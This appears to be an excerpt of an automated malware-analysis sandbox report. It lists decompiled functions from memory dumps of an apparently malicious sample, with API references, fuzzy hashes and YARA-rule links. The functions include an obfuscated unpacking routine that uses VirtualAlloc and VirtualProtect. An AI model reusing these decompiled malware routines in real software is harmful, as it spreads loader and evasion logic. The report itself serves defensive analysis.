Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 877b045a25c19d34630bbe587eb93315e46ce237123159374bd2cbeb49ccd7f7
Instruction ID: 206ce34d0d496b0e12b4eb4a0b8860eb6c1a5947876452f210d6ffcc563bbd68
Opcode Fuzzy Hash: 877b045a25c19d34630bbe587eb93315e46ce237123159374bd2cbeb49ccd7f7
Instruction Fuzzy Hash: 2E312DB6900209EFCB05DF98D4E49AEBBB5FF48350B10856EF90AA7220D735A645CF61

Uniqueness

Uniqueness Score: -1.00%

Function 03551A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E03551A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E03552049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x03551a7c
0x03551a80
0x03551a81
0x03551a82
0x03551a84
0x03551a86
0x03551a8b
0x03551a8e
0x03551b25
0x03551b2c
0x03551b2c
0x03551a97
0x03551a9e
0x03551aae
0x03551aae
0x03551ab4
0x03551ab6
0x03551abb
0x03551ac4
0x03551acc
0x03551acf
0x03551ada
0x03551ade
0x03551ae0
0x03551ae1
0x03551aea
0x03551aee
0x03551aff
0x03551af0
0x03551af5
0x03551afa
0x03551b09
0x03551b09
0x03551ade
0x03551b0f
0x03551b15
0x03551b15
0x03551b1e
0x03551b23
0x03551b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 03551A9E
lstrlenW.KERNEL32(?), ref: 03551AD4
memcpy.NTDLL(00000000,?,?,?), ref: 03551AF5
SysFreeString.OLEAUT32(?), ref: 03551B09

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 45788f870acfbf91a9511dcc153d3bf4c8da496363849acc81a4f0d81b7e6e79
Instruction ID: 22cc513d7dd41aa1fc537f896040fceb1792ab046e50033c05519e54fd7212e2
Opcode Fuzzy Hash: 45788f870acfbf91a9511dcc153d3bf4c8da496363849acc81a4f0d81b7e6e79
Instruction Fuzzy Hash: 92213175A00609EFCB11DFA4D894E9EBBB9FF49311B14416AFD05D7220E730AB45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 035594A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E035594A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E03552049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x355c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x355c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x035594b4
0x035594b8
0x035594ba
0x035594bb
0x035594c3
0x035594c3
0x035594c7
0x00000000
0x00000000
0x035594be
0x035594bf
0x035594c2
0x035594c2
0x035594cf
0x035594d6
0x035594da
0x035594e2
0x035594e8
0x035594ea
0x035594ef
0x035594f3
0x035594f5
0x035594f8
0x035594ff
0x035594ff
0x03559509
0x0355950c
0x0355950f
0x0355950f
0x0355951b
0x0355951b
0x03559528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,059A95AC,?,035523DE,?,03557634,059A95AC,?,035523DE), ref: 035594C3
StrTrimA.KERNELBASE(?,0355C2A4,00000002,?,035523DE,?,03557634,059A95AC,?,035523DE), ref: 035594E2
StrChrA.SHLWAPI(?,00000020,?,035523DE,?,03557634,059A95AC,?,035523DE), ref: 035594ED
StrTrimA.SHLWAPI(00000001,0355C2A4,?,035523DE,?,03557634,059A95AC,?,035523DE), ref: 035594FF

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 63e4f05d772ef1deba40b039212482ac772000e54fa29e1ea8c564fd3dca7495
Instruction ID: be749df02cc376a3ab2304b10a4113b9d9a93b5e044568aedaaeee40a11eb4e6
Opcode Fuzzy Hash: 63e4f05d772ef1deba40b039212482ac772000e54fa29e1ea8c564fd3dca7495
Instruction Fuzzy Hash: 4401B572605311DFD230DE69EC69F2BBBECFF85651F15051AFC91C7260DB64E80296A0

Uniqueness

Uniqueness Score: -1.00%

Function 035573FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E035573FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0355A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x355d27c; // 0x244a5a8
				_t4 = _t24 + 0x355ede0; // 0x59a9388
				_t5 = _t24 + 0x355ed88; // 0x4f0053
				_t26 = E03551262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x355d27c; // 0x244a5a8
						_t11 = _t32 + 0x355edd4; // 0x59a937c
						_t48 = _t11;
						_t12 = _t32 + 0x355ed88; // 0x4f0053
						_t55 = E03557CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x355d27c; // 0x244a5a8
							_t13 = _t35 + 0x355ee1e; // 0x30314549
							_t37 = E035589D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x355d25c - 6;
								if( *0x355d25c <= 6) {
									_t42 =  *0x355d27c; // 0x244a5a8
									_t15 = _t42 + 0x355ec2a; // 0x52384549
									E035589D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x355d27c; // 0x244a5a8
							_t17 = _t38 + 0x355ee18; // 0x59a93c0
							_t18 = _t38 + 0x355edf0; // 0x680043
							_t40 = E03552659(_v8, 0x80000001, _t55, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x355d238, 0, _t55);
						}
					}
					HeapFree( *0x355d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E03551F99(_t54);
				}
				return _t45;
			}

0x035573fd
0x0355740d
0x03557410
0x03557417
0x03557419
0x03557419
0x0355741c
0x03557421
0x03557428
0x03557435
0x0355743a
0x0355743e
0x0355744c
0x0355745a
0x0355745e
0x035574ef
0x035574ef
0x03557464
0x03557464
0x03557469
0x03557469
0x03557470
0x0355747c
0x0355747e
0x03557480
0x03557482
0x03557489
0x03557494
0x0355749b
0x0355749d
0x035574a4
0x035574a6
0x035574ad
0x035574b8
0x035574b8
0x035574a4
0x035574bd
0x035574c2
0x035574c9
0x035574d9
0x035574e7
0x035574e9
0x035574e9
0x03557480
0x035574fb
0x035574fb
0x035574fd
0x03557502
0x03557504
0x03557504
0x0355750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,059A9388,00000000,?,7519F710,00000000,7519F730), ref: 0355744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,059A93C0,?,00000000,30314549,00000014,004F0053,059A937C), ref: 035574E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,03556814), ref: 035574FB

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5c3b3363f7666bee28d7a7e5f03f4bed2f816d1be7d864257543b382d4dcf8e9
Instruction ID: 18399365a4edd203c45898ea0b810fa58d1cd11ff53ab4d1417607e89c470c16
Opcode Fuzzy Hash: 5c3b3363f7666bee28d7a7e5f03f4bed2f816d1be7d864257543b382d4dcf8e9
Instruction Fuzzy Hash: 20318172901209AFDB11EBA1EC65EEA7BFCFB48300F150196B904AB130D770BA06EB50

Uniqueness

Uniqueness Score: -1.00%

Function 03558504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E03558504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x355d340; // 0x59a9928
				_push(0x800);
				_push(0);
				_push( *0x355d238);
				if( *0x355d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x355d24c =  *0x355d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E03552496(_t44, _t40);
						_t18 = E0355A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x355d24c < 5) {
								 *0x355d24c =  *0x355d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E0355A1B0();
						RtlFreeHeap( *0x355d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E0355A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E03558B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x03558504
0x03558507
0x03558508
0x03558512
0x03558519
0x0355851e
0x03558520
0x03558526
0x0355854e
0x03558566
0x03558568
0x03558569
0x0355856b
0x035585a9
0x035585a9
0x035585af
0x035585b5
0x035585b5
0x0355856d
0x03558573
0x03558576
0x03558585
0x03558587
0x0355858e
0x035585c2
0x035585c7
0x035585c9
0x035585cb
0x035585cb
0x00000000
0x035585c9
0x03558590
0x03558595
0x035585a3
0x00000000
0x035585a3
0x0355855d
0x03558562
0x03558562
0x00000000
0x03558562
0x03558530
0x00000000
0x00000000
0x0355853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 03558528

Part of subcall function 03558B94: GetTickCount.KERNEL32 ref: 03558BA8
Part of subcall function 03558B94: wsprintfA.USER32 ref: 03558BF8
Part of subcall function 03558B94: wsprintfA.USER32 ref: 03558C15
Part of subcall function 03558B94: wsprintfA.USER32 ref: 03558C41
Part of subcall function 03558B94: HeapFree.KERNEL32(00000000,?), ref: 03558C53
Part of subcall function 03558B94: wsprintfA.USER32 ref: 03558C74
Part of subcall function 03558B94: HeapFree.KERNEL32(00000000,?), ref: 03558C84
Part of subcall function 03558B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03558CB2
Part of subcall function 03558B94: GetTickCount.KERNEL32 ref: 03558CC3

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 03558546
RtlFreeHeap.NTDLL(00000000,00000002,0355685F,?,0355685F,00000002,?,?,03552417,?), ref: 035585A3

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: c34d648dfa2a3d06425c5afc83fd9e637a237ea32f4d61067c5b95cb1069b86a
Instruction ID: 5b0f2730e33102e8a818dc45c81b66d967647583b975d0216f736e7ea550cc98
Opcode Fuzzy Hash: c34d648dfa2a3d06425c5afc83fd9e637a237ea32f4d61067c5b95cb1069b86a
Instruction Fuzzy Hash: 75212C76600305BBDB11EF95E8A4EAA37FCBB88351F004056FD02DB260D770F9499BA1

Uniqueness

Uniqueness Score: -1.00%

Function 03553DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E03553DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x355d27c; // 0x244a5a8
				_t5 = _t40 + 0x355ee40; // 0x410025
				_t85 = E03556A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E03559039(_v16);
					goto L24;
				}
				if(E0355A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E0355809F(0,  *0x355d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x355d27c; // 0x244a5a8
					_t11 = _t52 + 0x355e81a; // 0x65696c43
					_t55 = E0355809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E03556BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E03559039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E03559039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E03551F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x355d260 & 0x00000001) == 0) {
							L14:
							E03558F83(_t80, _v88, _v84,  *0x355d270, 0);
							_t80 = E03551C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E035542EA( &_v40, 0);
							}
							E03559039(_v88);
							goto L17;
						}
						_t67 =  *0x355d27c; // 0x244a5a8
						_t18 = _t67 + 0x355e823; // 0x65696c43
						_t70 = E0355809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E03556BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E03559039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x03553deb
0x03553dee
0x03553df5
0x03553dfb
0x03553dfc
0x03553dfd
0x03553dfe
0x03553dff
0x03553e00
0x03553e08
0x03553e14
0x03553e18
0x03553e1b
0x03553f6b
0x03553f6e
0x03553f72
0x03553f72
0x03553e2d
0x03553e35
0x03553f5e
0x03553f5f
0x03553f62
0x00000000
0x03553f62
0x03553e47
0x03553e49
0x03553e49
0x03553e54
0x03553e5b
0x03553e5e
0x03553f4d
0x00000000
0x03553e64
0x03553e64
0x03553e69
0x03553e72
0x03553e77
0x03553e80
0x03553ea3
0x03553e82
0x03553e98
0x03553e9a
0x03553e9a
0x03553ea6
0x03553f41
0x03553f44
0x03553f4e
0x03553f4e
0x03553f53
0x03553f55
0x03553f55
0x00000000
0x03553eac
0x03553eb3
0x03553ef4
0x03553f05
0x03553f1b
0x03553f1f
0x03553f24
0x03553f2a
0x03553f37
0x03553f37
0x03553f3c
0x00000000
0x03553f3c
0x03553eb5
0x03553eba
0x03553ec3
0x03553ec8
0x03553ecc
0x03553eef
0x03553ece
0x03553ee4
0x03553ee6
0x03553ee6
0x03553ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x03553ef2
0x03553ea6

APIs

memset.NTDLL ref: 03553DEE

Part of subcall function 03556A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,03553E14,00410025,00000005,?,00000000), ref: 03556A23
Part of subcall function 03556A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 03556A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 03553E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 03553E2D

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: c0555aa17ee52844ba2ab667c4eec8f7e462bf84a55e0276d506232bc0a3e5b1
Instruction ID: 357d1423065ce359c25e755f3557e4e9a4cff616d9508848af07aa4dcd5e3725
Opcode Fuzzy Hash: c0555aa17ee52844ba2ab667c4eec8f7e462bf84a55e0276d506232bc0a3e5b1
Instruction Fuzzy Hash: F5414076A01319ABCB11EEE4ECA4EDEBBBCBF48240B044567BD05EB130D775BA458790

Uniqueness

Uniqueness Score: -1.00%

Function 03436194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E03436194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0343463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E03434859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E03432DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0343348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E03434DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x03436194
0x03436194
0x03436194
0x03436195
0x0343619c
0x0343619f
0x034361a4
0x034361a7
0x034361a9
0x034361ab
0x034361ac
0x034361af
0x034361b7
0x034361c5
0x034361c5
0x034361ca
0x034361ca
0x034361d1
0x034361d5
0x034361d8
0x034361de
0x034361e8
0x034361f0
0x034361f7
0x034361fd
0x03436207
0x03436209
0x03436210
0x03436214
0x03436218
0x0343621c
0x03436226
0x03436226
0x03436230
0x03436230
0x03436233
0x03436233
0x03436239
0x03436240
0x03436243
0x0343624b
0x0343624f
0x03436255
0x03436260
0x03436262
0x03436267
0x03436272
0x03436274
0x03436276
0x03436279
0x0343627a
0x0343627d
0x03436281
0x03436284
0x03436284
0x0343628a
0x0343628d
0x0343628e
0x0343628e
0x0343628e
0x03436296
0x0343629f
0x0343629f
0x034362a2
0x034362a7
0x034362af
0x034362b3
0x034362b4
0x034362b4
0x034362b9
0x034362c6
0x034362c9
0x034362cd
0x034362e1
0x034362e9
0x034362ed
0x034362f3
0x034362f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 034361CA
VirtualProtect.KERNELBASE(?,?), ref: 03436233

Memory Dump Source

Source File: 00000003.00000002.498932024.0000000003430000.00000040.00000001.sdmp, Offset: 03430000, based on PE: true

Associated: 00000003.00000002.499049563.0000000003448000.00000040.00000001.sdmp Download File
Associated: 00000003.00000002.499084760.000000000348D000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: fde8f73ecec15114d025d3314bd5c6954f5407516fddc4a8ad5a9006b869ba35
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: D641CF72504604AFEB00DF21C8807AEBBF9EF88701F1A846DDD888F249DB7855418B69

Uniqueness

Uniqueness Score: -1.00%

Function 03559152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E03559152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E03553AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x355d27c; // 0x244a5a8
						_t20 = _t68 + 0x355e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E03557C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x03559158
0x0355915b
0x0355916b
0x03559174
0x03559178
0x03559246
0x0355924c
0x0355924c
0x03559192
0x03559197
0x0355919b
0x035591a1
0x035591a6
0x035591ad
0x035591bc
0x035591bc
0x035591c0
0x035591c2
0x035591ce
0x035591d9
0x035591e4
0x035591e8
0x035591f2
0x035591f6
0x035591f8
0x035591fd
0x03559204
0x03559214
0x03559214
0x035591fd
0x035591f6
0x03559216
0x0355921b
0x03559220
0x03559220
0x03559226
0x0355922c
0x03559231
0x03559231
0x03559236
0x0355923b
0x0355923b
0x03559236
0x035591c0
0x0355923d
0x03559243
0x00000000

APIs

Part of subcall function 03553AEF: SysAllocString.OLEAUT32(80000002), ref: 03553B46
Part of subcall function 03553AEF: SysFreeString.OLEAUT32(00000000), ref: 03553BAB

SysFreeString.OLEAUT32(?), ref: 03559231
